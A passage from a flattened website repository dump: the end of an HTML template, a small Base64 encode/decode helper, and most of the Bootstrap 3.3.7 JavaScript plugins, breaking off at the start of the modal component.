    272 |
    273 | 274 | 275 | 276 |
    277 |
    278 |
    279 |
    280 | 281 | 282 | 283 |
    284 |
    285 |
    286 |
    287 | 288 | 289 | 290 |
    291 |
    292 |
    293 |
    294 | 295 | 296 | 297 |
    298 |
    299 |
    300 | 301 | 302 |
    303 |
    304 |
    305 |
    306 |
    307 |
    308 |
    309 |

    畅所欲言评论一下

    310 |
    311 |
    312 |
    313 |
    314 |
    315 |
    316 |
    317 | 318 | 319 | 320 |
    321 | 322 | 323 | 324 | 325 | -------------------------------------------------------------------------------- /js/base64.min.js: -------------------------------------------------------------------------------- 1 | function Base64() { 2 | _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 3 | this.encode = function (input) { 4 | var output = ""; 5 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 6 | var i = 0; 7 | input = _utf8_encode(input); 8 | while (i < input.length) { 9 | chr1 = input.charCodeAt(i++); 10 | chr2 = input.charCodeAt(i++); 11 | chr3 = input.charCodeAt(i++); 12 | enc1 = chr1 >> 2; 13 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 14 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 15 | enc4 = chr3 & 63; 16 | if (isNaN(chr2)) { 17 | enc3 = enc4 = 64; 18 | } else if (isNaN(chr3)) { 19 | enc4 = 64; 20 | } 21 | output = output + 22 | _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + 23 | _keyStr.charAt(enc3) + _keyStr.charAt(enc4); 24 | } 25 | return output; 26 | } 27 | this.decode = function (input) { 28 | var output = ""; 29 | var chr1, chr2, chr3; 30 | var enc1, enc2, enc3, enc4; 31 | var i = 0; 32 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 33 | while (i < input.length) { 34 | enc1 = _keyStr.indexOf(input.charAt(i++)); 35 | enc2 = _keyStr.indexOf(input.charAt(i++)); 36 | enc3 = _keyStr.indexOf(input.charAt(i++)); 37 | enc4 = _keyStr.indexOf(input.charAt(i++)); 38 | chr1 = (enc1 << 2) | (enc2 >> 4); 39 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 40 | chr3 = ((enc3 & 3) << 6) | enc4; 41 | output = output + String.fromCharCode(chr1); 42 | if (enc3 != 64) { 43 | output = output + String.fromCharCode(chr2); 44 | } 45 | if (enc4 != 64) { 46 | output = output + String.fromCharCode(chr3); 47 | } 48 | } 49 | output = _utf8_decode(output); 50 | return output; 51 | } 52 | 53 | _utf8_encode = function (string) { 54 | string = string.replace(/\r\n/g,"\n"); 55 | var utftext = ""; 56 | for (var n = 0; n < string.length; n++) { 57 | var c = string.charCodeAt(n); 58 | if (c < 128) { 59 | utftext += String.fromCharCode(c); 60 | } else if((c > 127) && (c < 2048)) { 61 | utftext += String.fromCharCode((c >> 6) | 192); 62 | utftext += String.fromCharCode((c & 63) | 128); 63 | } else { 64 | utftext += String.fromCharCode((c >> 12) | 224); 65 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); 66 | utftext += String.fromCharCode((c & 63) | 128); 67 | } 68 | 69 | } 70 | return utftext; 71 | } 72 | 73 | _utf8_decode = function (utftext) { 74 | var string = ""; 75 | var i = 0; 76 | var c = c1 = c2 = 0; 77 | while ( i < utftext.length ) { 78 | c = utftext.charCodeAt(i); 79 | if (c < 128) { 80 | string += String.fromCharCode(c); 81 | i++; 82 | } else if((c > 191) && (c < 224)) { 83 | c2 = utftext.charCodeAt(i+1); 84 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 85 | i += 2; 86 | } else { 87 | c2 = utftext.charCodeAt(i+1); 88 | c3 = utftext.charCodeAt(i+2); 89 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 90 | i += 3; 91 | } 92 | } 93 | return string; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /js/bootstrap.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.7 (http://getbootstrap.com) 3 | * Copyright 2011-2016 Twitter, Inc. 4 | * Licensed under the MIT license 5 | */ 6 | 7 | if (typeof jQuery === 'undefined') { 8 | throw new Error('Bootstrap\'s JavaScript requires jQuery') 9 | } 10 | 11 | +function ($) { 12 | 'use strict'; 13 | var version = $.fn.jquery.split(' ')[0].split('.') 14 | if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 3)) { 15 | throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4') 16 | } 17 | }(jQuery); 18 | 19 | /* ======================================================================== 20 | * Bootstrap: transition.js v3.3.7 21 | * http://getbootstrap.com/javascript/#transitions 22 | * ======================================================================== 23 | * Copyright 2011-2016 Twitter, Inc. 24 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 25 | * ======================================================================== */ 26 | 27 | 28 | +function ($) { 29 | 'use strict'; 30 | 31 | // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) 32 | // ============================================================ 33 | 34 | function transitionEnd() { 35 | var el = document.createElement('bootstrap') 36 | 37 | var transEndEventNames = { 38 | WebkitTransition : 'webkitTransitionEnd', 39 | MozTransition : 'transitionend', 40 | OTransition : 'oTransitionEnd otransitionend', 41 | transition : 'transitionend' 42 | } 43 | 44 | for (var name in transEndEventNames) { 45 | if (el.style[name] !== undefined) { 46 | return { end: transEndEventNames[name] } 47 | } 48 | } 49 | 50 | return false // explicit for ie8 ( ._.) 51 | } 52 | 53 | // http://blog.alexmaccaw.com/css-transitions 54 | $.fn.emulateTransitionEnd = function (duration) { 55 | var called = false 56 | var $el = this 57 | $(this).one('bsTransitionEnd', function () { called = true }) 58 | var callback = function () { if (!called) $($el).trigger($.support.transition.end) } 59 | setTimeout(callback, duration) 60 | return this 61 | } 62 | 63 | $(function () { 64 | $.support.transition = transitionEnd() 65 | 66 | if (!$.support.transition) return 67 | 68 | $.event.special.bsTransitionEnd = { 69 | bindType: $.support.transition.end, 70 | delegateType: $.support.transition.end, 71 | handle: function (e) { 72 | if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) 73 | } 74 | } 75 | }) 76 | 77 | }(jQuery); 78 | 79 | /* ======================================================================== 80 | * Bootstrap: alert.js v3.3.7 81 | * http://getbootstrap.com/javascript/#alerts 82 | * ======================================================================== 83 | * Copyright 2011-2016 Twitter, Inc. 84 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 85 | * ======================================================================== */ 86 | 87 | 88 | +function ($) { 89 | 'use strict'; 90 | 91 | // ALERT CLASS DEFINITION 92 | // ====================== 93 | 94 | var dismiss = '[data-dismiss="alert"]' 95 | var Alert = function (el) { 96 | $(el).on('click', dismiss, this.close) 97 | } 98 | 99 | Alert.VERSION = '3.3.7' 100 | 101 | Alert.TRANSITION_DURATION = 150 102 | 103 | Alert.prototype.close = function (e) { 104 | var $this = $(this) 105 | var selector = $this.attr('data-target') 106 | 107 | if (!selector) { 108 | selector = $this.attr('href') 109 | selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 110 | } 111 | 112 | var $parent = $(selector === '#' ? [] : selector) 113 | 114 | if (e) e.preventDefault() 115 | 116 | if (!$parent.length) { 117 | $parent = $this.closest('.alert') 118 | } 119 | 120 | $parent.trigger(e = $.Event('close.bs.alert')) 121 | 122 | if (e.isDefaultPrevented()) return 123 | 124 | $parent.removeClass('in') 125 | 126 | function removeElement() { 127 | // detach from parent, fire event then clean up data 128 | $parent.detach().trigger('closed.bs.alert').remove() 129 | } 130 | 131 | $.support.transition && $parent.hasClass('fade') ? 132 | $parent 133 | .one('bsTransitionEnd', removeElement) 134 | .emulateTransitionEnd(Alert.TRANSITION_DURATION) : 135 | removeElement() 136 | } 137 | 138 | 139 | // ALERT PLUGIN DEFINITION 140 | // ======================= 141 | 142 | function Plugin(option) { 143 | return this.each(function () { 144 | var $this = $(this) 145 | var data = $this.data('bs.alert') 146 | 147 | if (!data) $this.data('bs.alert', (data = new Alert(this))) 148 | if (typeof option == 'string') data[option].call($this) 149 | }) 150 | } 151 | 152 | var old = $.fn.alert 153 | 154 | $.fn.alert = Plugin 155 | $.fn.alert.Constructor = Alert 156 | 157 | 158 | // ALERT NO CONFLICT 159 | // ================= 160 | 161 | $.fn.alert.noConflict = function () { 162 | $.fn.alert = old 163 | return this 164 | } 165 | 166 | 167 | // ALERT DATA-API 168 | // ============== 169 | 170 | $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) 171 | 172 | }(jQuery); 173 | 174 | /* ======================================================================== 175 | * Bootstrap: button.js v3.3.7 176 | * http://getbootstrap.com/javascript/#buttons 177 | * ======================================================================== 178 | * Copyright 2011-2016 Twitter, Inc. 179 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 180 | * ======================================================================== */ 181 | 182 | 183 | +function ($) { 184 | 'use strict'; 185 | 186 | // BUTTON PUBLIC CLASS DEFINITION 187 | // ============================== 188 | 189 | var Button = function (element, options) { 190 | this.$element = $(element) 191 | this.options = $.extend({}, Button.DEFAULTS, options) 192 | this.isLoading = false 193 | } 194 | 195 | Button.VERSION = '3.3.7' 196 | 197 | Button.DEFAULTS = { 198 | loadingText: 'loading...' 199 | } 200 | 201 | Button.prototype.setState = function (state) { 202 | var d = 'disabled' 203 | var $el = this.$element 204 | var val = $el.is('input') ? 'val' : 'html' 205 | var data = $el.data() 206 | 207 | state += 'Text' 208 | 209 | if (data.resetText == null) $el.data('resetText', $el[val]()) 210 | 211 | // push to event loop to allow forms to submit 212 | setTimeout($.proxy(function () { 213 | $el[val](data[state] == null ? this.options[state] : data[state]) 214 | 215 | if (state == 'loadingText') { 216 | this.isLoading = true 217 | $el.addClass(d).attr(d, d).prop(d, true) 218 | } else if (this.isLoading) { 219 | this.isLoading = false 220 | $el.removeClass(d).removeAttr(d).prop(d, false) 221 | } 222 | }, this), 0) 223 | } 224 | 225 | Button.prototype.toggle = function () { 226 | var changed = true 227 | var $parent = this.$element.closest('[data-toggle="buttons"]') 228 | 229 | if ($parent.length) { 230 | var $input = this.$element.find('input') 231 | if ($input.prop('type') == 'radio') { 232 | if ($input.prop('checked')) changed = false 233 | $parent.find('.active').removeClass('active') 234 | this.$element.addClass('active') 235 | } else if ($input.prop('type') == 'checkbox') { 236 | if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false 237 | this.$element.toggleClass('active') 238 | } 239 | $input.prop('checked', this.$element.hasClass('active')) 240 | if (changed) $input.trigger('change') 241 | } else { 242 | this.$element.attr('aria-pressed', !this.$element.hasClass('active')) 243 | this.$element.toggleClass('active') 244 | } 245 | } 246 | 247 | 248 | // BUTTON PLUGIN DEFINITION 249 | // ======================== 250 | 251 | function Plugin(option) { 252 | return this.each(function () { 253 | var $this = $(this) 254 | var data = $this.data('bs.button') 255 | var options = typeof option == 'object' && option 256 | 257 | if (!data) $this.data('bs.button', (data = new Button(this, options))) 258 | 259 | if (option == 'toggle') data.toggle() 260 | else if (option) data.setState(option) 261 | }) 262 | } 263 | 264 | var old = $.fn.button 265 | 266 | $.fn.button = Plugin 267 | $.fn.button.Constructor = Button 268 | 269 | 270 | // BUTTON NO CONFLICT 271 | // ================== 272 | 273 | $.fn.button.noConflict = function () { 274 | $.fn.button = old 275 | return this 276 | } 277 | 278 | 279 | // BUTTON DATA-API 280 | // =============== 281 | 282 | $(document) 283 | .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) { 284 | var $btn = $(e.target).closest('.btn') 285 | Plugin.call($btn, 'toggle') 286 | if (!($(e.target).is('input[type="radio"], input[type="checkbox"]'))) { 287 | // Prevent double click on radios, and the double selections (so cancellation) on checkboxes 288 | e.preventDefault() 289 | // The target component still receive the focus 290 | if ($btn.is('input,button')) $btn.trigger('focus') 291 | else $btn.find('input:visible,button:visible').first().trigger('focus') 292 | } 293 | }) 294 | .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) { 295 | $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type)) 296 | }) 297 | 298 | }(jQuery); 299 | 300 | /* ======================================================================== 301 | * Bootstrap: carousel.js v3.3.7 302 | * http://getbootstrap.com/javascript/#carousel 303 | * ======================================================================== 304 | * Copyright 2011-2016 Twitter, Inc. 305 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 306 | * ======================================================================== */ 307 | 308 | 309 | +function ($) { 310 | 'use strict'; 311 | 312 | // CAROUSEL CLASS DEFINITION 313 | // ========================= 314 | 315 | var Carousel = function (element, options) { 316 | this.$element = $(element) 317 | this.$indicators = this.$element.find('.carousel-indicators') 318 | this.options = options 319 | this.paused = null 320 | this.sliding = null 321 | this.interval = null 322 | this.$active = null 323 | this.$items = null 324 | 325 | this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this)) 326 | 327 | this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element 328 | .on('mouseenter.bs.carousel', $.proxy(this.pause, this)) 329 | .on('mouseleave.bs.carousel', $.proxy(this.cycle, this)) 330 | } 331 | 332 | Carousel.VERSION = '3.3.7' 333 | 334 | Carousel.TRANSITION_DURATION = 600 335 | 336 | Carousel.DEFAULTS = { 337 | interval: 5000, 338 | pause: 'hover', 339 | wrap: true, 340 | keyboard: true 341 | } 342 | 343 | Carousel.prototype.keydown = function (e) { 344 | if (/input|textarea/i.test(e.target.tagName)) return 345 | switch (e.which) { 346 | case 37: this.prev(); break 347 | case 39: this.next(); break 348 | default: return 349 | } 350 | 351 | e.preventDefault() 352 | } 353 | 354 | Carousel.prototype.cycle = function (e) { 355 | e || (this.paused = false) 356 | 357 | this.interval && clearInterval(this.interval) 358 | 359 | this.options.interval 360 | && !this.paused 361 | && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) 362 | 363 | return this 364 | } 365 | 366 | Carousel.prototype.getItemIndex = function (item) { 367 | this.$items = item.parent().children('.item') 368 | return this.$items.index(item || this.$active) 369 | } 370 | 371 | Carousel.prototype.getItemForDirection = function (direction, active) { 372 | var activeIndex = this.getItemIndex(active) 373 | var willWrap = (direction == 'prev' && activeIndex === 0) 374 | || (direction == 'next' && activeIndex == (this.$items.length - 1)) 375 | if (willWrap && !this.options.wrap) return active 376 | var delta = direction == 'prev' ? -1 : 1 377 | var itemIndex = (activeIndex + delta) % this.$items.length 378 | return this.$items.eq(itemIndex) 379 | } 380 | 381 | Carousel.prototype.to = function (pos) { 382 | var that = this 383 | var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active')) 384 | 385 | if (pos > (this.$items.length - 1) || pos < 0) return 386 | 387 | if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid" 388 | if (activeIndex == pos) return this.pause().cycle() 389 | 390 | return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos)) 391 | } 392 | 393 | Carousel.prototype.pause = function (e) { 394 | e || (this.paused = true) 395 | 396 | if (this.$element.find('.next, .prev').length && $.support.transition) { 397 | this.$element.trigger($.support.transition.end) 398 | this.cycle(true) 399 | } 400 | 401 | this.interval = clearInterval(this.interval) 402 | 403 | return this 404 | } 405 | 406 | Carousel.prototype.next = function () { 407 | if (this.sliding) return 408 | return this.slide('next') 409 | } 410 | 411 | Carousel.prototype.prev = function () { 412 | if (this.sliding) return 413 | return this.slide('prev') 414 | } 415 | 416 | Carousel.prototype.slide = function (type, next) { 417 | var $active = this.$element.find('.item.active') 418 | var $next = next || this.getItemForDirection(type, $active) 419 | var isCycling = this.interval 420 | var direction = type == 'next' ? 'left' : 'right' 421 | var that = this 422 | 423 | if ($next.hasClass('active')) return (this.sliding = false) 424 | 425 | var relatedTarget = $next[0] 426 | var slideEvent = $.Event('slide.bs.carousel', { 427 | relatedTarget: relatedTarget, 428 | direction: direction 429 | }) 430 | this.$element.trigger(slideEvent) 431 | if (slideEvent.isDefaultPrevented()) return 432 | 433 | this.sliding = true 434 | 435 | isCycling && this.pause() 436 | 437 | if (this.$indicators.length) { 438 | this.$indicators.find('.active').removeClass('active') 439 | var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)]) 440 | $nextIndicator && $nextIndicator.addClass('active') 441 | } 442 | 443 | var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid" 444 | if ($.support.transition && this.$element.hasClass('slide')) { 445 | $next.addClass(type) 446 | $next[0].offsetWidth // force reflow 447 | $active.addClass(direction) 448 | $next.addClass(direction) 449 | $active 450 | .one('bsTransitionEnd', function () { 451 | $next.removeClass([type, direction].join(' ')).addClass('active') 452 | $active.removeClass(['active', direction].join(' ')) 453 | that.sliding = false 454 | setTimeout(function () { 455 | that.$element.trigger(slidEvent) 456 | }, 0) 457 | }) 458 | .emulateTransitionEnd(Carousel.TRANSITION_DURATION) 459 | } else { 460 | $active.removeClass('active') 461 | $next.addClass('active') 462 | this.sliding = false 463 | this.$element.trigger(slidEvent) 464 | } 465 | 466 | isCycling && this.cycle() 467 | 468 | return this 469 | } 470 | 471 | 472 | // CAROUSEL PLUGIN DEFINITION 473 | // ========================== 474 | 475 | function Plugin(option) { 476 | return this.each(function () { 477 | var $this = $(this) 478 | var data = $this.data('bs.carousel') 479 | var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) 480 | var action = typeof option == 'string' ? option : options.slide 481 | 482 | if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) 483 | if (typeof option == 'number') data.to(option) 484 | else if (action) data[action]() 485 | else if (options.interval) data.pause().cycle() 486 | }) 487 | } 488 | 489 | var old = $.fn.carousel 490 | 491 | $.fn.carousel = Plugin 492 | $.fn.carousel.Constructor = Carousel 493 | 494 | 495 | // CAROUSEL NO CONFLICT 496 | // ==================== 497 | 498 | $.fn.carousel.noConflict = function () { 499 | $.fn.carousel = old 500 | return this 501 | } 502 | 503 | 504 | // CAROUSEL DATA-API 505 | // ================= 506 | 507 | var clickHandler = function (e) { 508 | var href 509 | var $this = $(this) 510 | var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7 511 | if (!$target.hasClass('carousel')) return 512 | var options = $.extend({}, $target.data(), $this.data()) 513 | var slideIndex = $this.attr('data-slide-to') 514 | if (slideIndex) options.interval = false 515 | 516 | Plugin.call($target, options) 517 | 518 | if (slideIndex) { 519 | $target.data('bs.carousel').to(slideIndex) 520 | } 521 | 522 | e.preventDefault() 523 | } 524 | 525 | $(document) 526 | .on('click.bs.carousel.data-api', '[data-slide]', clickHandler) 527 | .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler) 528 | 529 | $(window).on('load', function () { 530 | $('[data-ride="carousel"]').each(function () { 531 | var $carousel = $(this) 532 | Plugin.call($carousel, $carousel.data()) 533 | }) 534 | }) 535 | 536 | }(jQuery); 537 | 538 | /* ======================================================================== 539 | * Bootstrap: collapse.js v3.3.7 540 | * http://getbootstrap.com/javascript/#collapse 541 | * ======================================================================== 542 | * Copyright 2011-2016 Twitter, Inc. 543 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 544 | * ======================================================================== */ 545 | 546 | /* jshint latedef: false */ 547 | 548 | +function ($) { 549 | 'use strict'; 550 | 551 | // COLLAPSE PUBLIC CLASS DEFINITION 552 | // ================================ 553 | 554 | var Collapse = function (element, options) { 555 | this.$element = $(element) 556 | this.options = $.extend({}, Collapse.DEFAULTS, options) 557 | this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' + 558 | '[data-toggle="collapse"][data-target="#' + element.id + '"]') 559 | this.transitioning = null 560 | 561 | if (this.options.parent) { 562 | this.$parent = this.getParent() 563 | } else { 564 | this.addAriaAndCollapsedClass(this.$element, this.$trigger) 565 | } 566 | 567 | if (this.options.toggle) this.toggle() 568 | } 569 | 570 | Collapse.VERSION = '3.3.7' 571 | 572 | Collapse.TRANSITION_DURATION = 350 573 | 574 | Collapse.DEFAULTS = { 575 | toggle: true 576 | } 577 | 578 | Collapse.prototype.dimension = function () { 579 | var hasWidth = this.$element.hasClass('width') 580 | return hasWidth ? 'width' : 'height' 581 | } 582 | 583 | Collapse.prototype.show = function () { 584 | if (this.transitioning || this.$element.hasClass('in')) return 585 | 586 | var activesData 587 | var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing') 588 | 589 | if (actives && actives.length) { 590 | activesData = actives.data('bs.collapse') 591 | if (activesData && activesData.transitioning) return 592 | } 593 | 594 | var startEvent = $.Event('show.bs.collapse') 595 | this.$element.trigger(startEvent) 596 | if (startEvent.isDefaultPrevented()) return 597 | 598 | if (actives && actives.length) { 599 | Plugin.call(actives, 'hide') 600 | activesData || actives.data('bs.collapse', null) 601 | } 602 | 603 | var dimension = this.dimension() 604 | 605 | this.$element 606 | .removeClass('collapse') 607 | .addClass('collapsing')[dimension](0) 608 | .attr('aria-expanded', true) 609 | 610 | this.$trigger 611 | .removeClass('collapsed') 612 | .attr('aria-expanded', true) 613 | 614 | this.transitioning = 1 615 | 616 | var complete = function () { 617 | this.$element 618 | .removeClass('collapsing') 619 | .addClass('collapse in')[dimension]('') 620 | this.transitioning = 0 621 | this.$element 622 | .trigger('shown.bs.collapse') 623 | } 624 | 625 | if (!$.support.transition) return complete.call(this) 626 | 627 | var scrollSize = $.camelCase(['scroll', dimension].join('-')) 628 | 629 | this.$element 630 | .one('bsTransitionEnd', $.proxy(complete, this)) 631 | .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize]) 632 | } 633 | 634 | Collapse.prototype.hide = function () { 635 | if (this.transitioning || !this.$element.hasClass('in')) return 636 | 637 | var startEvent = $.Event('hide.bs.collapse') 638 | this.$element.trigger(startEvent) 639 | if (startEvent.isDefaultPrevented()) return 640 | 641 | var dimension = this.dimension() 642 | 643 | this.$element[dimension](this.$element[dimension]())[0].offsetHeight 644 | 645 | this.$element 646 | .addClass('collapsing') 647 | .removeClass('collapse in') 648 | .attr('aria-expanded', false) 649 | 650 | this.$trigger 651 | .addClass('collapsed') 652 | .attr('aria-expanded', false) 653 | 654 | this.transitioning = 1 655 | 656 | var complete = function () { 657 | this.transitioning = 0 658 | this.$element 659 | .removeClass('collapsing') 660 | .addClass('collapse') 661 | .trigger('hidden.bs.collapse') 662 | } 663 | 664 | if (!$.support.transition) return complete.call(this) 665 | 666 | this.$element 667 | [dimension](0) 668 | .one('bsTransitionEnd', $.proxy(complete, this)) 669 | .emulateTransitionEnd(Collapse.TRANSITION_DURATION) 670 | } 671 | 672 | Collapse.prototype.toggle = function () { 673 | this[this.$element.hasClass('in') ? 'hide' : 'show']() 674 | } 675 | 676 | Collapse.prototype.getParent = function () { 677 | return $(this.options.parent) 678 | .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]') 679 | .each($.proxy(function (i, element) { 680 | var $element = $(element) 681 | this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element) 682 | }, this)) 683 | .end() 684 | } 685 | 686 | Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) { 687 | var isOpen = $element.hasClass('in') 688 | 689 | $element.attr('aria-expanded', isOpen) 690 | $trigger 691 | .toggleClass('collapsed', !isOpen) 692 | .attr('aria-expanded', isOpen) 693 | } 694 | 695 | function getTargetFromTrigger($trigger) { 696 | var href 697 | var target = $trigger.attr('data-target') 698 | || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7 699 | 700 | return $(target) 701 | } 702 | 703 | 704 | // COLLAPSE PLUGIN DEFINITION 705 | // ========================== 706 | 707 | function Plugin(option) { 708 | return this.each(function () { 709 | var $this = $(this) 710 | var data = $this.data('bs.collapse') 711 | var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) 712 | 713 | if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false 714 | if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) 715 | if (typeof option == 'string') data[option]() 716 | }) 717 | } 718 | 719 | var old = $.fn.collapse 720 | 721 | $.fn.collapse = Plugin 722 | $.fn.collapse.Constructor = Collapse 723 | 724 | 725 | // COLLAPSE NO CONFLICT 726 | // ==================== 727 | 728 | $.fn.collapse.noConflict = function () { 729 | $.fn.collapse = old 730 | return this 731 | } 732 | 733 | 734 | // COLLAPSE DATA-API 735 | // ================= 736 | 737 | $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) { 738 | var $this = $(this) 739 | 740 | if (!$this.attr('data-target')) e.preventDefault() 741 | 742 | var $target = getTargetFromTrigger($this) 743 | var data = $target.data('bs.collapse') 744 | var option = data ? 'toggle' : $this.data() 745 | 746 | Plugin.call($target, option) 747 | }) 748 | 749 | }(jQuery); 750 | 751 | /* ======================================================================== 752 | * Bootstrap: dropdown.js v3.3.7 753 | * http://getbootstrap.com/javascript/#dropdowns 754 | * ======================================================================== 755 | * Copyright 2011-2016 Twitter, Inc. 756 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 757 | * ======================================================================== */ 758 | 759 | 760 | +function ($) { 761 | 'use strict'; 762 | 763 | // DROPDOWN CLASS DEFINITION 764 | // ========================= 765 | 766 | var backdrop = '.dropdown-backdrop' 767 | var toggle = '[data-toggle="dropdown"]' 768 | var Dropdown = function (element) { 769 | $(element).on('click.bs.dropdown', this.toggle) 770 | } 771 | 772 | Dropdown.VERSION = '3.3.7' 773 | 774 | function getParent($this) { 775 | var selector = $this.attr('data-target') 776 | 777 | if (!selector) { 778 | selector = $this.attr('href') 779 | selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 780 | } 781 | 782 | var $parent = selector && $(selector) 783 | 784 | return $parent && $parent.length ? $parent : $this.parent() 785 | } 786 | 787 | function clearMenus(e) { 788 | if (e && e.which === 3) return 789 | $(backdrop).remove() 790 | $(toggle).each(function () { 791 | var $this = $(this) 792 | var $parent = getParent($this) 793 | var relatedTarget = { relatedTarget: this } 794 | 795 | if (!$parent.hasClass('open')) return 796 | 797 | if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return 798 | 799 | $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget)) 800 | 801 | if (e.isDefaultPrevented()) return 802 | 803 | $this.attr('aria-expanded', 'false') 804 | $parent.removeClass('open').trigger($.Event('hidden.bs.dropdown', relatedTarget)) 805 | }) 806 | } 807 | 808 | Dropdown.prototype.toggle = function (e) { 809 | var $this = $(this) 810 | 811 | if ($this.is('.disabled, :disabled')) return 812 | 813 | var $parent = getParent($this) 814 | var isActive = $parent.hasClass('open') 815 | 816 | clearMenus() 817 | 818 | if (!isActive) { 819 | if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { 820 | // if mobile we use a backdrop because click events don't delegate 821 | $(document.createElement('div')) 822 | .addClass('dropdown-backdrop') 823 | .insertAfter($(this)) 824 | .on('click', clearMenus) 825 | } 826 | 827 | var relatedTarget = { relatedTarget: this } 828 | $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget)) 829 | 830 | if (e.isDefaultPrevented()) return 831 | 832 | $this 833 | .trigger('focus') 834 | .attr('aria-expanded', 'true') 835 | 836 | $parent 837 | .toggleClass('open') 838 | .trigger($.Event('shown.bs.dropdown', relatedTarget)) 839 | } 840 | 841 | return false 842 | } 843 | 844 | Dropdown.prototype.keydown = function (e) { 845 | if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return 846 | 847 | var $this = $(this) 848 | 849 | e.preventDefault() 850 | e.stopPropagation() 851 | 852 | if ($this.is('.disabled, :disabled')) return 853 | 854 | var $parent = getParent($this) 855 | var isActive = $parent.hasClass('open') 856 | 857 | if (!isActive && e.which != 27 || isActive && e.which == 27) { 858 | if (e.which == 27) $parent.find(toggle).trigger('focus') 859 | return $this.trigger('click') 860 | } 861 | 862 | var desc = ' li:not(.disabled):visible a' 863 | var $items = $parent.find('.dropdown-menu' + desc) 864 | 865 | if (!$items.length) return 866 | 867 | var index = $items.index(e.target) 868 | 869 | if (e.which == 38 && index > 0) index-- // up 870 | if (e.which == 40 && index < $items.length - 1) index++ // down 871 | if (!~index) index = 0 872 | 873 | $items.eq(index).trigger('focus') 874 | } 875 | 876 | 877 | // DROPDOWN PLUGIN DEFINITION 878 | // ========================== 879 | 880 | function Plugin(option) { 881 | return this.each(function () { 882 | var $this = $(this) 883 | var data = $this.data('bs.dropdown') 884 | 885 | if (!data) $this.data('bs.dropdown', (data = new Dropdown(this))) 886 | if (typeof option == 'string') data[option].call($this) 887 | }) 888 | } 889 | 890 | var old = $.fn.dropdown 891 | 892 | $.fn.dropdown = Plugin 893 | $.fn.dropdown.Constructor = Dropdown 894 | 895 | 896 | // DROPDOWN NO CONFLICT 897 | // ==================== 898 | 899 | $.fn.dropdown.noConflict = function () { 900 | $.fn.dropdown = old 901 | return this 902 | } 903 | 904 | 905 | // APPLY TO STANDARD DROPDOWN ELEMENTS 906 | // =================================== 907 | 908 | $(document) 909 | .on('click.bs.dropdown.data-api', clearMenus) 910 | .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) 911 | .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle) 912 | .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown) 913 | .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown) 914 | 915 | }(jQuery); 916 | 917 | /* ======================================================================== 918 | * Bootstrap: modal.js v3.3.7 919 | * 